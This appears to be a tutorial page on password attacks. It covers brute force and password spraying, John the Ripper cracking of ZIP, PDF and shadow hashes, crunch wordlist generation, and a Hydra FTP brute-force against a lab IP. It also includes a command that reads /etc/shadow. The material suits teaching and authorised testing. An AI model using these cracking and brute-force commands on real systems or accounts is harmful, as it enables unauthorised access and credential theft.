Password Attacks

A password attack is any method used to obtain or guess passwords to gain unauthorised access to a system.

Brute-force attacksSearch on YouTubeBookmarkSaved

A brute-force attack uses trial and error to crack passwords, login credentials and encryption keys. The attacker tests many username/password combinations, usually with a computer, until the correct login is found. It is simple but reliable.

Types of brute-force attackSearch on YouTubeBookmarkSaved

Password spraying uses a short list of common passwords tried against a large number of accounts, aiming to find one weak password without locking accounts out.

Cracking toolsSearch on YouTubeBookmarkSaved

John the Ripper (offline)Search on YouTubeBookmarkSaved

John is an offline tool: it works on a captured hash, not a live service.

How John worksSearch on YouTubeBookmarkSaved

1. Input: the hash of the password to be cracked, and a wordlist of candidate passwords.
2. For each word, apply the hashing algorithm to produce an output hash.
3. Compare the output hash with the target hash; a match reveals the plaintext.

InstallSearch on YouTubeBookmarkSaved

sudo apt update
sudo apt install john

The Linux /etc/shadow fileSearch on YouTubeBookmarkSaved

/etc/shadow stores encrypted user passwords and account information. It is readable only by privileged users (root) for security.

sudo cat /etc/shadow

A hash field such as $y$j9T$gs93511UPLhR74auj16Dv0$3Xg/QI4I0j... breaks down as:

The salt is random and unique per password, so identical passwords produce different hashes and precomputed (rainbow) tables are defeated.

Cracking a password-protected ZIPSearch on YouTubeBookmarkSaved

zip2john protected.zip > hash.txt

john hash.txt

Cracking a password-protected PDFSearch on YouTubeBookmarkSaved

/usr/share/john/pdf2john.pl myfile_protected.pdf > hash.txt   # extract the hash
john hash.txt                                                  # crack it

Using your own wordlistSearch on YouTubeBookmarkSaved

john --wordlist=/root/Desktop/rockyou.txt hash.txt

Crunch (wordlist generation)Search on YouTubeBookmarkSaved

Crunch is a wordlist generator built into Kali, used to create focused dictionaries for brute-force and dictionary attacks. It is best when you know details about the target (username, date of birth, hobbies) and want a focused list instead of a large generic one like rockyou.txt.

crunch <min> <max> [charset] [options]

<min>/<max> set the minimum and maximum password length; [charset] is the character set; [options] adds flags like output file and pattern.

Pattern placeholders in -t:

Examples:

crunch 4 4 0123456789 -o pinlist.txt            # all 4-digit PINs
crunch 3 5 abcdefghijklmnopqrstuvwxyz -o words.txt  # lowercase, length 3 to 5
crunch 6 6 -t neha%%                             # neha00, neha01, ... neha99
crunch 8 8 abc123!@# -o passlist.txt             # all 8-char combos of a,b,c,1,2,3,!,@,#

Crunch output can reach gigabytes, so limit it:

crunch 6 6 -t user@@ -c 1000 -o START   # split into 1000 lines per file: START1, START2, ...

-c 1000 splits output into 1000-line files; -o START names them START1, START2, etc.

Hydra (online)Search on YouTubeBookmarkSaved

Hydra is a fast, flexible, parallelised login cracker that attacks many protocols on live services. It shows how easy unauthorised remote access can be against weak credentials.

hydra [OPTIONS] [PROTOCOL]://[TARGET]

Use -l when you already know the username (for example Administrator) and only need the password.

Services to targetSearch on YouTubeBookmarkSaved

First scan the target to find open services:

nmap -p 21 192.168.56.102     # confirm FTP is open: expect 21/tcp open ftp

Example: FTP brute forceSearch on YouTubeBookmarkSaved

If anonymous FTP login fails, the server needs valid credentials. Build wordlists, then run Hydra.

# usernames
cat > users.txt <<EOF
admin
administrator
user
test
guest
EOF

# passwords (first 50 lines of rockyou)
head -n 50 /usr/share/wordlists/rockyou.txt > passwords.txt

# attack FTP
hydra -l Administrator -P passwords.txt ftp://192.168.56.102

There is also a GUI version, xhydra:

xhydra

Quick self-testSearch on YouTubeBookmarkSaved